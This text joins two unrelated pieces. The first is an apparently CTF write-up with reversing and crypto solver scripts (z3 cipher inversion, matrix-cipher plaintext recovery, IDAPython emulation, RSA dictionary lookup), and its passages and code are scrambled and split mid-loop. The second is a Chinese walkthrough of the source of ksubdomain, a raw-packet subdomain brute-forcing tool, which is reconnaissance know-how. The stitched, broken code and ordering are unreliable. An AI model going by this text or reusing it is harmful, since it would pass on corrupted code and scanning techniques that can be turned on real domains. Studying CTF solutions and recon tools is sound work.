292, 301, 673, 642, 589, 189, 674, 420, 34, 149, 631, 583, 730, 665, 447, 617, 529, 726, 110, 106, 563, 513, 626, 741, 505, 311, 683, 440, 740, 471, 723, 755, 745, 522, 744, 661, 533, 357, 702, 369, 372, 689, 558, 291, 413, 3, 456, 399, 354, 675, 80, 281, 521, 61, 366, 711, 224, 227, 737, 466, 588, 52, 509, 734, 355, 659, 571, 713, 248, 103, 507, 691, 539, 540, 382, 750, 595, 731, 267, 502, 25, 346, 422, 716, 415, 188, 320, 763, 577, 575, 201, 453, 699, 610, 703, 491, 655, 230, 660, 719, 700, 762, 486, 746, 752, 527, 475, 684, 650, 629, 377, 303, 578, 714, 441, 534, 601, 634, 159, 729, 387, 470, 215, 609, 761, 340, 462, 200, 616, 463, 708, 554, 602, 297, 435, 245, 438, 296, 598, 608, 465, 402, 764, 395, 663, 258, 336, 477, 687, 485, 579, 257] Holy Grail War Program is compiled with Graal VM No library function names High level optimization Looks like a cipher: Test with 11111111 and 111111111111 and 1111111111111111: 8byte block Test with 1111111111111111 and 1111111122222222: ECB Find the encrypting routine location by debugging: The encryption happens in 0x4023C0 Watch the data in variables to guess the logic Extract each round's data and solve: (To save spaces we only paste part one here) ptr = 0 for j in xrange(768): col = [] for i in xrange(768): pix = [x for x in buf[i, j]] # print pix for k in xrange(3): pix[k] ^= buff[i, j][0] col.append(tuple(pix)) # b.putpixel((i, j), tuple(pix)) ptr = (ptr + 1) % 25 for i in xrange(768): b.putpixel((seq[i], j), col[i]) b.save('flagaaa.png') ``` - Get the flag ![](https://i.imgur.com/Ybv2u28.png) # part0 s = Solver() box = [ 2213650158, 3662015778, 259288452, 1498852205, 2300035311, 2052912054, 2036798173, 1611266847, 1784399209, 929847251, 3921284408, 3196248184, 2005232833, 2725498862, 3558091907, 24343718, 2746134120, 45425412, 238898078, 514883775, 816330571, 2230390543, 42087689, 3503996843, 3360904134, 1989027470, 215817026, 3723744644, 4225474772, 2707256193, 2213848054, 3572155370 ] def sbox(i): return box[i - 0x63c1a] & 0xffffffff def __ROL4__(c, r): return ((c << r) | LShR(c, (32 - r))) & 0xffffffff input1 = BitVec('i1', 32) input2 = BitVec('i2', 32) v186 = input1 + sbox(0x63C1A); v183 = sbox(0x63C33); v62 = sbox(0x63C1B) + input2; v63 = sbox(0x63C1C); v64 = sbox(0x63C1D); v65 = sbox(0x63C1E); v66 = sbox(0x63C1F); v67 = sbox(0x63C20); v68 = sbox(0x63C21); v69 = sbox(0x63C22); v70 = sbox(0x63C23); v71 = sbox(0x63C24); v72 = sbox(0x63C25); v182 = sbox(0x63C26); M Poly Cipher v181 = sbox(0x63C27); v180 = sbox(0x63C28); v179 = sbox(0x63C29); v178 = sbox(0x63C2A); v177 = sbox(0x63C2B); v176 = sbox(0x63C2C); v175 = sbox(0x63C2D); v174 = sbox(0x63C2E); v173 = sbox(0x63C2F); v172 = sbox(0x63C30); v171 = sbox(0x63C31); v170 = v72; v73 = v63 + __ROL4__(v62 ^ v186, v62 & 0x1F); v74 = v64 + __ROL4__(v73 ^ v62, v73 & 0x1F); v75 = v65 + __ROL4__(v74 ^ v73, v74 & 0x1F); v76 = v66 + __ROL4__(v75 ^ v74, v75 & 0x1F); v77 = v67 + __ROL4__(v76 ^ v75, v76 & 0x1F); v78 = v68 + __ROL4__(v77 ^ v76, v77 & 0x1F); v79 = v69 + __ROL4__(v78 ^ v77, v78 & 0x1F); v80 = v70 + __ROL4__(v79 ^ v78, v79 & 0x1F); v81 = v71 + __ROL4__(v80 ^ v79, v80 & 0x1F); v82 = v72 + __ROL4__(v81 ^ v80, v81 & 0x1F); v83 = v182 + __ROL4__(v82 ^ v81, v82 & 0x1F); v84 = v181 + __ROL4__(v83 ^ v82, v83 & 0x1F); v85 = v180 + __ROL4__(v84 ^ v83, v84 & 0x1F); v86 = v179 + __ROL4__(v85 ^ v84, v85 & 0x1F); v87 = v178 + __ROL4__(v86 ^ v85, v86 & 0x1F); v88 = v177 + __ROL4__(v87 ^ v86, v87 & 0x1F); v89 = v176 + __ROL4__(v88 ^ v87, v88 & 0x1F); v90 = v175 + __ROL4__(v89 ^ v88, v89 & 0x1F); v91 = v174 + __ROL4__(v90 ^ v89, v90 & 0x1F); v92 = v173 + __ROL4__(v91 ^ v90, v91 & 0x1F); v93 = v172 + __ROL4__(v92 ^ v91, v92 & 0x1F); v94 = v171 + __ROL4__(v93 ^ v92, v93 & 0x1F); v95 = sbox(0x63C32) + __ROL4__(v94 ^ v93, v94 & 0x1F); out1 = v95 v183 += __ROL4__(v95 ^ v94, v95 & 0x1F); out2 = v183 s.add(out1 == 0xd4f5f0aa) s.add(out2 == 0x8aeee7c8) s.check() print struct.pack('>I', s.model()[input1].as_long()) + struct.pack('>I', s.model()[input2].as_long()) An asymmetric cryptography system based on quadratic matrix equation Binary is quite large but it's easy to recognize the code is doing matrix multiply and sum algorithm with modulos 0xFFFFFFFB Key generation algorithm Generate 3 random 8*8 matrices, pubkey_1, pubkey_2 and privkey Calculate pubkey_3 by the equation pubkey_1 * privkey * privkey + pubkey_2 * privkey + pubkey_3 = 0 Encryption algorithm Generate a random 8*8 matrix Read the plaintext and expand it into a 8*8 matrix a = random * pubkey_1 b = random * pubkey_2 c = random * pubkey_3 + plaintext The ciphertext is (a, b, c) Decryption algorithm a = cipher_1 * privkey * privkey b = cipher_2 * privkey plaintext matrix = a + b + cipher_3 Solve Given flag.enc and public key Plaintext can be recovered if we know the random matrix pubkey_1 and pubkey_2 are not invertible but pubkey_1+pubkey_2 is invertible (adding two matrix together will increase the rank) Calculate random matrix by (cipher_1 + cipher_2) * (pubkey_1 + pubkey_2).inverse Recover the plaintext import struct def matmul(a, b): mat_4 = [] for i in xrange(8): line = [] for j in xrange(8): res = 0 for k in xrange(8): res = (res + a[i][k] * b[k][j]) % 4294967291 line.append(res) mat_4.append(line) return mat_4 def matadd(a, b): mat_4 = [] for i in xrange(8): line = [] for j in xrange(8): line.append((a[i][j] + b[i][j]) % 4294967291) mat_4.append(line) return mat_4 key = open('public.key', 'rb') pub_1 = [] for i in xrange(8): line = [] for j in xrange(8): buf = key.read(4) line.append(int(struct.unpack('<I', buf)[0])) pub_1.append(line) pub_2 = [] for i in xrange(8): line = [] for j in xrange(8): buf = key.read(4) line.append(int(struct.unpack('<I', buf)[0])) pub_2.append(line) pub_3 = [] for i in xrange(8): line = [] for j in xrange(8): buf = key.read(4) line.append(int(struct.unpack('<I', buf)[0])) pub_3.append(line) out = open('flag.enc', 'rb') out_1 = [] for i in xrange(8): line = [] for j in xrange(8): buf = out.read(4) line.append(int(struct.unpack('<I', buf)[0])) out_1.append(line) out_2 = [] for i in xrange(8): line = [] for j in xrange(8): buf = out.read(4) line.append(int(struct.unpack('<I', buf)[0])) EBC Fix the EBC processor in IDA: CALL instruction is not decoded correcly 64bit immediates are partially incorrect (lost their higher 32 bits) Decrypt the code In the first round we found that the hex of function prologue is 0x10028160 so in later rounds we simply used the key 0x10028160 ^ Dword(code) Solve the first 3 parts: Using IDAPython to emulate the execution out_2.append(line) out_3 = [] for i in xrange(8): line = [] for j in xrange(8): buf = out.read(4) line.append(int(struct.unpack('<I', buf)[0])) out_3.append(line) a = matadd(pub_1, pub_2) b = matadd(out_1, out_2) R = IntegerModRing(0xFFFFFFFB) A = Matrix(R, a) B = Matrix(R, b) P3 = Matrix(R, pub_3) O3 = Matrix(R, out_3) RAND = A * B.inverse() plain = O3 - RAND * P3 print plain ''' [ 84 87 67 84 70 123 112 97] [ 43 104 95 116 48 95 116 111] [109 111 114 114 48 119 125 0] [ 0 0 0 0 0 0 0 0] [ 0 0 0 0 0 0 0 0] [ 0 0 0 0 0 0 0 0] [ 0 0 0 0 0 0 0 0] [ 0 0 0 0 0 0 0 0] ''' from idaapi import * from z3 import * import struct checkfun = LocByName('check') #checkfun = 0x401B7E pc = checkfun regcontext = [-1] + [0] * 10 # R1-R7 selreg = 0 s = Solver() while True: insnlen = decode_insn(pc) mnem = GetMnem(pc) if mnem == "MOVqw": if pc == checkfun: selreg = regcontext[cmd[0].reg] = BitVec('target', 64) else: regcontext[cmd[0].reg] = regcontext[cmd[1].reg] elif mnem == "MOVIqq": regcontext[cmd[0].reg] = BitVecVal(cmd[1].value, 64) elif mnem == "MOVIqd": regcontext[cmd[0].reg] = BitVecVal(cmd[1].value, 64) elif mnem == "MOVIqw": regcontext[cmd[0].reg] = cmd[1].value elif mnem == "ADD64": regcontext[cmd[0].reg] += regcontext[cmd[1].reg] elif mnem == "SUB64": regcontext[cmd[0].reg] -= regcontext[cmd[1].reg] elif mnem == "XOR64": regcontext[cmd[0].reg] ^= regcontext[cmd[1].reg] elif mnem == "NOT64": regcontext[cmd[0].reg] = ~ regcontext[cmd[1].reg] elif mnem == "NEG64": regcontext[cmd[0].reg] = 0-regcontext[cmd[1].reg] elif mnem == "OR64": regcontext[cmd[0].reg] |= regcontext[cmd[1].reg] elif mnem == "SHR64": if regcontext[cmd[1].reg] > 64: regcontext[cmd[0].reg] = 0 else: regcontext[cmd[0].reg] = LShR(regcontext[cmd[0].reg],regcontext[cmd[1].reg] % 64) elif mnem == "SHL64": if regcontext[cmd[1].reg] > 64: regcontext[cmd[0].reg] = 0 else: regcontext[cmd[0].reg] <<= (regcontext[cmd[1].reg] % 64) elif mnem == "CMP64eq": s.add(regcontext[cmd[0].reg] == regcontext[cmd[1].reg]) For the last part, there are too many solves, so I checked possible characters at each position: Pos1: om Pos2: psyv Pos3: ht Pos4: (everything) Pos5: 0 Pos6: n Pos7: 401 Pos8: STk Then I solved the crc32 checksum of the last part, and bruteforced the final result (some of possible characters sets are incomplete, so I lessened some ranges) Crypto Real Baby RSA cur = selreg for i in range(8): s.add(cur & 0xff < 0x7b) s.add(cur & 0xff != 96) for c in range(91, 95): s.add(cur & 0xff != c) s.add(cur & 0xff > 0x2c) cur = cur >> 8 s.check() print struct.pack("Q", s.model()[selreg].as_long()) break else: print("Warning!!") break pc += insnlen print("Cur PC: %08X" % pc) from zlib import crc32 for c1 in "om": for c2 in string.printable: for c3 in "ht": for c4 in string.printable: c5 = '0' c6 = 'n' for c7 in "401": for c8 in string.printable: if crc32(c1+c2+c3+c4+c5+c6+c7+c8) & 0xffffffff == 0xc13fa3bb: print(c1+c2+c3+c4+c5+c6+c7+c8) Real Baby RSA The script encrypted the flag byte by byte, so we can just make a dict of all the printable chars and their encrypted result, then do the substitution. Simple logic This challenge introduced a simple symmetric cryptography system based on add and xor operation of 128-bit vector. Apparently, we can find that it is a linear algorithm, so if we remove the higher N bits of the vector, the encryption algorithm will also give the same ciphertext without higher N bits. However, if it has the carry bit of the MSB, errors would occur, so we choose to brute force 2 bits once and dynamically adjust the previous MSB. (Theoretically bit- by-bit brute force would also work but we failed with that method) import string N = 362399735415589322157681543980275105429992954605987939918630439743175034051 322587435808041019861957058380998750869560633571786010776847723240640963566 840085732951866221169316038045394802601803695107549483549528439908919895169 779788391589158353810104686541904340588255253039749582229565135861216832843 620905158085080442832365028017775756048291772366166829415661653564339226235 726304538075177140147585816957606212789853393210032152372717857893285025278 073046147543149374587978858378460051427620021037277530343879970141406959083 711414588034868096150383095246286171592654124670468132932325609592368651275 39835290549091 e = 65537 dic = {} for i in string.printable: dic[pow(ord(i), e, N)] = i f = open('output', 'r') flag = '' for c in f.readlines(): c = int(c) flag += dic[c] print flag m = (1 << 128) - 1 flag_enc = 0x43713622de24d04b9c05395bb753d437 plains = [0x29abc13947b5373b86a1dc1d423807a, 0xeeb83b72d3336a80a853bf9c61d6f254, 0x7a0e5ffc7208f978b81475201fbeb3a0, 0xc464714f5cdce458f32608f8b5e2002e, 0xf944aaccf6779a65e8ba74795da3c41d, 0x552682756304d662fa18e624b09b2ac5 ] encs = [0xb36b6b62a7e685bd1158744662c5d04a, 0x614d86b5b6653cdc8f33368c41e99254, 0x292a7ff7f12b4e21db00e593246be5a0, 0x64f930da37d494c634fa22a609342ffe, 0xaa3825e62d053fb0eb8e7e2621dabfe7, 0xf2ffdf4beb933681844c70190ecf60bf] def encrypt(plain, key): msg = plain # last_msg = plain for i in xrange(765): # last_msg = msg msg = (msg + key) & m msg = msg ^ key # print msg, (msg - last_msg) & m return msg def decrypt(plain, key): msg = plain for i in xrange(765): msg = msg ^ key msg = (msg - key) & m return msg key = 0 bits_2 = 0 while (bits_2 < 64): mask = (1 << (bits_2 + 1) * 2) - 1 find = 0 for val in xrange(4): flag = 0 k = key | (val << (bits_2 * 2)) for j in xrange(6): xx = encrypt(plains[j] & mask, k) # print xx, encs[j] & mask if (xx & mask != encs[j] & mask): flag = 1 if (flag == 0): find = 1 key = k print hex(key) if (find == 0): key ^= 1 << (bits_2 * 2 - 1) else: bits_2 += 1 print hex(key) print plains[0] print encrypt(plains[0], key) print encs[0] print hex(decrypt(flag_enc, key))
pdf
Author Recar https://github.com/Ciyfly ksubdomain浅析 ksubdomain是一款基于无状态的子域名爆破工具,类似无状态端口扫描,支持在Windows/Linux/Mac上 进行快速的DNS爆破,拥有重发机制不用担心漏包。 ksubdomain的作者是 w8ay ksubdomain 地址 https://github.com/boy-hack/ksubdomain ksubdomain的介绍 https://paper.seebug.org/1325/ 主要是使用无状态的概念 直接使用网卡发包而不是通过socket去操作 对于子域名枚举来说 只发一个udp包等等dns服务器的应答 ksubdomain使用pcap发包和接收数据,会直接将数据包发送至网卡,不经过系统 通过设计了一个状态表 来控制这个udp的丢包和状态 文章目录 ksubdomain浅析 文章目录 简易流程图 代码目录 cmd core runner test cmd enumCommand runner runner.New 获取pcap版本信息 获取网卡信息并写到yaml文件中 创建内存简易数据库 runner.loadTargets 获取发包总数 core.IsWildCard(domain) 泛解析检测 RunEnumeration 接收协程 runner.recvChanel 发送协程 runner.sendCycle send 发送dns包 处理结果并输出 runner.handleResult runner.PrintStatus 任务情况输出 通过定时器和状态表阻塞主进程 重试 runner.retry Close verifyCommand 验证功能 testCommand 测试功能 计算发包速率 runner.TestSpeed 总结 简易流程图 代码目录 cmd 包含对命令行的支持 并且拆开了 主程序 enum test verify 的命令到不同的go文件 cmd ├── cmd.go ├── enum.go ├── test.go └── verify.go core 主要的核心逻辑代码等包含 日志 配置文件 banner 是代码的主体 core/ ├── banner.go ├── conf │ └── config.go ├── data │ ├── subdomain.txt │ └── subnext.txt ├── device │ ├── device.go │ └── struct.go ├── gologger │ └── gologger.go ├── options │ └── options.go ├── struct.go ├── subdata.go ├── util.go └── wildcard.go runner 是发包接收包 核心代码 runner/ ├── recv.go ├── result.go ├── retry.go ├── runner.go ├── runner_test.go ├── send.go ├── statusdb │ └── db.go └── testspeed.go test 就是测试代码了 test/ └── checkservername └── main.go 可以明显看出来代码设计架构等清晰 我们这里按cmd的使用方式来跟进代码 cmd cmd\cmd.go 使用cli 构建命令行解析 app := &cli.App{ Name: conf.AppName, Version: conf.Version, Usage: conf.Description, Commands: []*cli.Command{ enumCommand, verifyCommand, testCommand, }, } 包含三个子命令行 这个的功能是输出主的help NAME: KSubdomain - 无状态子域名爆破工具 USAGE: ksubdomain [global options] command [command options] [arguments...] VERSION: 1.8.2 COMMANDS: enum, e 枚举域名 verify, v 验证模式 test 测试本地网卡的最大发送速度 help, h Shows a list of commands or help for one command GLOBAL OPTIONS: --help, -h show help (default: false) --version, -v print the version (default: false) enumCommand 枚举功能 cmd\enum.go 枚举相关的参数 &cli.StringFlag{ Name: "domain", Aliases: []string{"d"}, Usage: "爆破的域名", Required: false, Value: "", }, &cli.StringFlag{ Name: "domainList", Aliases: []string{"dl"}, Usage: "从文件中指定域名", Required: false, Value: "", }, &cli.StringFlag{ Name: "filename", Aliases: []string{"f"}, Usage: "字典路径", Required: false, Value: "", }, &cli.BoolFlag{ Name: "skip-wild", Usage: "跳过泛解析域名", Value: false, }, &cli.IntFlag{ Name: "level", Aliases: []string{"l"}, Usage: "枚举几级域名,默认为2,二级域名", Value: 2, }, &cli.StringFlag{ Name: "level-dict", Aliases: []string{"ld"}, Usage: "枚举多级域名的字典文件,当level大于2时候使用,不填则会默认", Value: "", }, 从参数获取需要测试的一级域名 指定的单个域名 文件读取的域名都加到 domains var domains []string // handle domain if c.String("domain") != "" { domains = append(domains, c.String("domain")) } if c.String("domainList") != "" { dl, err := core.LinesInFile(c.String("domainList")) if err != nil { gologger.Fatalf("读取domain文件失败:%s\n", err.Error()) } domains = append(dl, domains...) } levelDict := c.String("level-dict") var levelDomains []string if levelDict != "" { dl, err := core.LinesInFile(levelDict) if err != nil { gologger.Fatalf("读取domain文件失败:%s,请检查--level-dict参数\n", err.Error()) } levelDomains = dl } else if c.Int("level") > 2 { levelDomains = core.GetDefaultSubNextData() } 检验设置参数值 传递给 runner.New方法 返回一个runner结构体 RunEnumeration 枚举运行入口 Close 关闭 opt := &options.Options{ Rate: options.Band2Rate(c.String("band")), Domain: domains, FileName: c.String("filename"), Resolvers: options.GetResolvers(c.String("resolvers")), Output: c.String("output"), Silent: c.Bool("silent"), Stdin: c.Bool("stdin"), SkipWildCard: c.Bool("skip-wild"), TimeOut: c.Int("timeout"), Retry: c.Int("retry"), Method: "enum", OnlyDomain: c.Bool("only-domain"), NotPrint: c.Bool("not-print"), Level: c.Int("level"), LevelDomains: levelDomains, } opt.Check() r, err := runner.New(opt) if err != nil { gologger.Fatalf("%s\n", err.Error()) return nil } r.RunEnumeration() r.Close() return nil }, runner 接下来我们跟入 runner来详细看下 New方法做了什么 枚举运行又做了什么 runner.New 首先runner的结构体 在其他语言中可以理解为一个类 type runner struct { ether *device.EtherTable //本地网卡信息 hm *statusdb.StatusDb options *options2.Options limit ratelimit.Limiter handle *pcap.Handle successIndex uint64 sendIndex uint64 recvIndex uint64 faildIndex uint64 sender chan string recver chan core.RecvResult freeport int dnsid uint16 // dnsid 用于接收的确定ID maxRetry int // 最大重试次数 timeout int64 // 超时xx秒后重试 ctx context.Context fisrtloadChanel chan string // 数据加载完毕的chanel startTime time.Time domains []string } New方法 是传入 opt 返回runner 其实就是对opt赋值并实例一个runner 跟入New方法 1. 获取pcap版本 2. 获取使用的网卡 3. 创建状态表 4. 获取使用网卡的监听handler device.PcapInit(r.ether.Device) 5. 获取发包总数 runner.loadTargets 6. 如果枚举域名超过2级 则所有包数为 字典包与域名的乘积 乘上 测试域名的数量的测试层级的幂 7. 计算calcLimit 为 (发包总数/超时时间) *0.85 如果小于1k则为1k 8. 真正的limit为 宽带的下行速度(命令行参数 --band/-b) 和calcLimit的最大值 9. 初始化限流器 r.limit = ratelimit.New(limit) 使用的是uber-go的基于漏桶实现的 https://github.com/uber-go/ratelimit/ 10. 初始化发送管道 接收管道 r.sender = make(chan string, 99) // 多个协程发送 r.recver = make(chan core.RecvResult, 99) // 多个协程接收 11. 获取空闲端口 freeport.GetFreePort() func GetFreePort() (int, error) { addr, err := net.ResolveTCPAddr("tcp", "localhost:0") if err != nil { return 0, err } l, err := net.ListenTCP("tcp", addr) if err != nil { return 0, err } defer l.Close() return l.Addr().(*net.TCPAddr).Port, nil } 12. 设置一些属性 例如dnsid为 0x2021 应该是2021年开发的把 重试次数超时时间 上下文等数据赋值给 runner 13. 将测试的域名发到send管道 并为管道 fisrtloadChanel 传入值 14. 返回runner 详细见下面New代码及部分函数 func New(options *options2.Options) (*runner, error) { var err error version := pcap.Version() r := new(runner) gologger.Infof(version + "\n") r.options = options r.ether = GetDeviceConfig() r.hm = statusdb.CreateMemoryDB() gologger.Infof("DNS:%s\n", options.Resolvers) r.handle, err = device.PcapInit(r.ether.Device) if err != nil { return nil, err } // 根据发包总数和timeout时间来分配每秒速度 allPacket := r.loadTargets() if options.Level > 2 { allPacket = allPacket * int(math.Pow(float64(len(options.LevelDomains)), float64(options.Level-2) } calcLimit := float64(allPacket/options.TimeOut) * 0.85 if calcLimit < 1000 { calcLimit = 1000 } limit := int(math.Min(calcLimit, float64(options.Rate))) r.limit = ratelimit.New(limit) // per second gologger.Infof("Rate:%dpps\n", limit) r.sender = make(chan string, 99) // 多个协程发送 r.recver = make(chan core.RecvResult, 99) // 多个协程接收 freePort, err := freeport.GetFreePort() if err != nil { return nil, err } r.freeport = freePort gologger.Infof("FreePort:%d\n", freePort) r.dnsid = 0x2021 // set dnsid 65500 r.maxRetry = r.options.Retry r.timeout = int64(r.options.TimeOut) r.ctx = context.Background() r.fisrtloadChanel = make(chan string) r.startTime = time.Now() go func() { for _, msg := range r.domains { r.sender <- msg if options.Method == "enum" && options.Level > 2 { 获取pcap版本信息 pcap.Version() 获取网卡信息并写到yaml文件中 r.ether = GetDeviceConfig() 如果有yaml文件直接读了 没有在获取 device.AutoGetDevices() func GetDeviceConfig() *device.EtherTable { filename := "ksubdomain.yaml" var ether *device.EtherTable var err error if core.FileExists(filename) { ether, err = device.ReadConfig(filename) if err != nil { gologger.Fatalf("读取配置失败:%v", err) } gologger.Infof("读取配置%s成功!\n", filename) } else { ether = device.AutoGetDevices() err = ether.SaveConfig(filename) if err != nil { gologger.Fatalf("保存配置失败:%v", err) } } gologger.Infof("Use Device: %s\n", ether.Device) gologger.Infof("Use IP:%s\n", ether.SrcIp.String()) gologger.Infof("Local Mac: %s\n", ether.SrcMac.String()) gologger.Infof("GateWay Mac: %s\n", ether.DstMac.String()) return ether } 网卡获取代码在 core\device\device.go 实现方式如下: 1. 随机生成一个域名 domain := core.RandomStr(4) + ".i.hacking8.com" 2. 然后通过pcap获取所有网卡 及网卡对应的信息 r.iterDomains(options.Level, msg) } } r.domains = nil r.fisrtloadChanel <- "ok" }() return r, nil } devices, err := pcap.FindAllDevs() if err != nil { gologger.Fatalf("获取网络设备失败:%s\n", err.Error()) } data := make(map[string]net.IP) keys := []string{} for _, d := range devices { for _, address := range d.Addresses { ip := address.IP if ip.To4() != nil && !ip.IsLoopback() { data[d.Name] = ip keys = append(keys, d.Name) } } } 3. 开始抓包 多个网卡遍历获取回来的包 如果是dns的信息并且域名匹配那就认为是从这个网卡发出去 的即后续使用这个网卡 ctx := context.Background() // 在初始上下文的基础上创建一个有取消功能的上下文 ctx, cancel := context.WithCancel(ctx) for _, drviceName := range keys { go func(drviceName string, domain string, ctx context.Context) { var ( snapshot_len int32 = 1024 promiscuous bool = false timeout time.Duration = -1 * time.Second handle *pcap.Handle ) var err error handle, err = pcap.OpenLive( drviceName, snapshot_len, promiscuous, timeout, ) if err != nil { gologger.Errorf("pcap打开失败:%s\n", err.Error()) return } defer handle.Close() // Use the handle as a packet source to process all packets packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for { select { case <-ctx.Done(): return default: packet, err := packetSource.NextPacket() gologger.Printf(".") if err != nil { continue } if dnsLayer := packet.Layer(layers.LayerTypeDNS); dnsLayer != nil { dns, _ := dnsLayer.(*layers.DNS) if !dns.QR { continue } for _, v := range dns.Questions { if string(v.Name) == domain { ethLayer := packet.Layer(layers.LayerTypeEthernet) if ethLayer != nil { eth := ethLayer.(*layers.Ethernet) etherTable := EtherTable{ SrcIp: data[drviceName], Device: drviceName, SrcMac: SelfMac(eth.DstMAC), DstMac: SelfMac(eth.SrcMAC), } signal <- &etherTable return } } } } } } }(drviceName, domain, ctx) } 4. 3是协程启动 启动后通过 net.LookupHost(domain) 发起dns请求 会每隔1s发送一次 一直到找到能使 用的网卡 for { select { case c := <-signal: cancel() fmt.Print("\n") return c default: _, _ = net.LookupHost(domain) time.Sleep(time.Second * 1) } } 5. 当匹配上发送信息到管道结束阻塞并赋值 网卡信息 创建内存简易数据库 runner\runner.go#75 r.hm = statusdb.CreateMemoryDB() 简易数据库的代码 runner\statusdb\db.go 是对状态表的一个封装 使用的是 syncmap type Item struct { Domain string // 查询域名 Dns string // 查询dns Time time.Time // 发送时间 Retry int // 重试次数 DomainLevel int // 域名层级 } type StatusDb struct { Items sync.Map length int64 } 创建的话 func CreateMemoryDB() *StatusDb { db := &StatusDb{ Items: sync.Map{}, length: 0, } return db } 增加数据 func (r *StatusDb) Add(domain string, tableData Item) { r.Items.Store(domain, tableData) atomic.AddInt64(&r.length, 1) } runner.loadTargets 获取发包总数 1. 从linux管道的方式获取domain写到domain中 2. 读取子域名字典 core\data\subdomain.txt 3. 检测泛解析 core.IsWildCard(domain) 4. 遍历字典加域名生成需要测试的新域名集合返回长度即为发包总数 if options.Stdin { scanner := bufio.NewScanner(os.Stdin) scanner.Split(bufio.ScanLines) for scanner.Scan() { options.Domain = append(options.Domain, scanner.Text()) } } // 读取字典 if options.FileName == "" { subdomainDict := core.GetDefaultSubdomainData() reader = bufio.NewReader(strings.NewReader(strings.Join(subdomainDict, "\n"))) } else { subdomainDict, err := core.LinesInFile(options.FileName) if err != nil { gologger.Fatalf("打开文件:%s 错误:%s", options.FileName, err.Error()) } reader = bufio.NewReader(strings.NewReader(strings.Join(subdomainDict, "\n"))) } if options.SkipWildCard && len(options.Domain) > 0 { var tmpDomains []string gologger.Infof("检测泛解析\n") for _, domain := range options.Domain { if !core.IsWildCard(domain) { tmpDomains = append(tmpDomains, domain) } else { gologger.Warningf("域名:%s 存在泛解析记录,已跳过\n", domain) } } options.Domain = tmpDomains } } for { line, _, err := reader.ReadLine() if err != nil { break } msg := string(line) if r.options.Method == "verify" { // send msg r.domains = append(r.domains, msg) } else { for _, tmpDomain := range r.options.Domain { newDomain := msg + "." + tmpDomain r.domains = append(r.domains, newDomain) } } } return len(r.domains) core.IsWildCard(domain) 泛解析检测 判断泛解析的方式是 随机6个字符串加上域名 生成2次 如果两次都是不能解析则认为没有泛解析 两次只 要有一次解析了就认为存在泛解析 func IsWildCard(domain string) bool { for i := 0; i < 2; i++ { subdomain := RandomStr(6) + "." + domain _, err := net.LookupIP(subdomain) if err != nil { continue } return true } return false } RunEnumeration 涉及到的函数多 下面以多个标题来分析 判断字典是否读取完成 完成的才会有对状态表还是有需要测试的数据判断 防止一开始是空的就结束了 func (r *runner) RunEnumeration() { ctx, cancel := context.WithCancel(r.ctx) defer cancel() go r.recvChanel(ctx) // 启动接收线程 for i := 0; i < 3; i++ { go r.sendCycle(ctx) // 发送线程 } go r.handleResult(ctx) // 处理结果,打印输出 var isLoadOver bool = false // 是否加载文件完毕 t := time.NewTicker(1 * time.Second) defer t.Stop() for { select { case <-t.C: r.PrintStatus() if isLoadOver { if r.hm.Length() == 0 { gologger.Printf("\n") gologger.Infof("扫描完毕") return } } case <-r.fisrtloadChanel: go r.retry(ctx) // 遍历hm,依次重试 isLoadOver = true } } } 接收协程 runner.recvChanel 1. 获取一个未激活的pcap句柄 inactive, err := pcap.NewInactiveHandle(r.ether.Device) 2. 设置 每个要捕获的数据包的最大字节数为 65535 err = inactive.SetSnapLen(snapshotLen) 3. 设置超时时间为 -1s 即不超时 4. 设置模式为即时模式 数据包被传送到应用程序就会更新timeout inactive.SetImmediateMode(true) 5. 激活pcap句柄 handle, err := inactive.Activate() 6. 设置过滤条件 udp and src port 53 and dst port udp的包 源端口是53 目的端口是发出去的空闲 端口 7. 创建一个解析器 并读取数据 data, _, err = handle.ReadPacketData() 8. 解析数据包 err = parser.DecodeLayers(data, &decoded) 9. 只要dns的包 并且dnsid为 0x2021 的包 10. 对于符合条件的包计数 使用原子操作增加 接收次数 recvIndex atomic.AddUint64(&r.recvIndex, 1) if len(dns.Questions) == 0 { continue } 11. 获取解析出来的域名 并在状态表中删除 成功计数+1 成功结果+1 推到 runner.rever 里 func (r *runner) recvChanel(ctx context.Context) error { var ( snapshotLen = 65536 timeout = -1 * time.Second err error ) inactive, err := pcap.NewInactiveHandle(r.ether.Device) if err != nil { return err } err = inactive.SetSnapLen(snapshotLen) if err != nil { return err } defer inactive.CleanUp() if err = inactive.SetTimeout(timeout); err != nil { return err } err = inactive.SetImmediateMode(true) if err != nil { return err } handle, err := inactive.Activate() if err != nil { return err } defer handle.Close() err = handle.SetBPFFilter(fmt.Sprintf("udp and src port 53 and dst port %d", r.freeport)) if err != nil { return errors.New(fmt.Sprintf("SetBPFFilter Faild:%s", err.Error())) } // Listening var udp layers.UDP var dns layers.DNS var eth layers.Ethernet var ipv4 layers.IPv4 var ipv6 layers.IPv6 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, &eth, &ipv4, &ipv6, &udp, &dns) var data []byte var decoded []gopacket.LayerType for { data, _, err = handle.ReadPacketData() if err != nil { continue } err = parser.DecodeLayers(data, &decoded) if err != nil { continue } if !dns.QR { continue } if dns.ID != r.dnsid { continue } atomic.AddUint64(&r.recvIndex, 1) if len(dns.Questions) == 0 { continue } subdomain := string(dns.Questions[0].Name) r.hm.Del(subdomain) if dns.ANCount > 0 { atomic.AddUint64(&r.successIndex, 1) result := core.RecvResult{ Subdomain: subdomain, Answers: dns.Answers, } r.recver <- result } } } 发送协程 runner.sendCycle 这里通过限流器 limit 来控制发送 1. 从 sender 里接收到一个域名 然后从状态表里获取出来这个域名的其他信息 2. 如果没有就生成一个表的条目 并存入状态表 否则认为是需要重试的 重试计数增加 随机更新选取dns服务器 更新表对应数据信息 3. 使用 send 发送数据并 runner.sendIndex计数+1 func (r *runner) sendCycle(ctx context.Context) { for domain := range r.sender { r.limit.Take() v, ok := r.hm.Get(domain) if !ok { v = statusdb.Item{ Domain: domain, Dns: r.choseDns(), Time: time.Now(), Retry: 0, DomainLevel: 0, } r.hm.Add(domain, v) } else { v.Retry += 1 v.Time = time.Now() v.Dns = r.choseDns() r.hm.Set(domain, v) } send(domain, v.Dns, r.ether, r.dnsid, uint16(r.freeport), r.handle) atomic.AddUint64(&r.sendIndex, 1) } } send 发送dns包 填充数据包 1. eth 二层 源目的mac地址 从网卡获取 2. ip 三层 ipv4的 主要是 约定协议是 udp 源ip(网卡ip) 目的ip(dns服务器) 3. udp包 四层 udp 源目的端口 4. dns包 五层 设置 dnsid 不会递归查询 查询域名的数量为1 添加域名并设置为A类型 5. 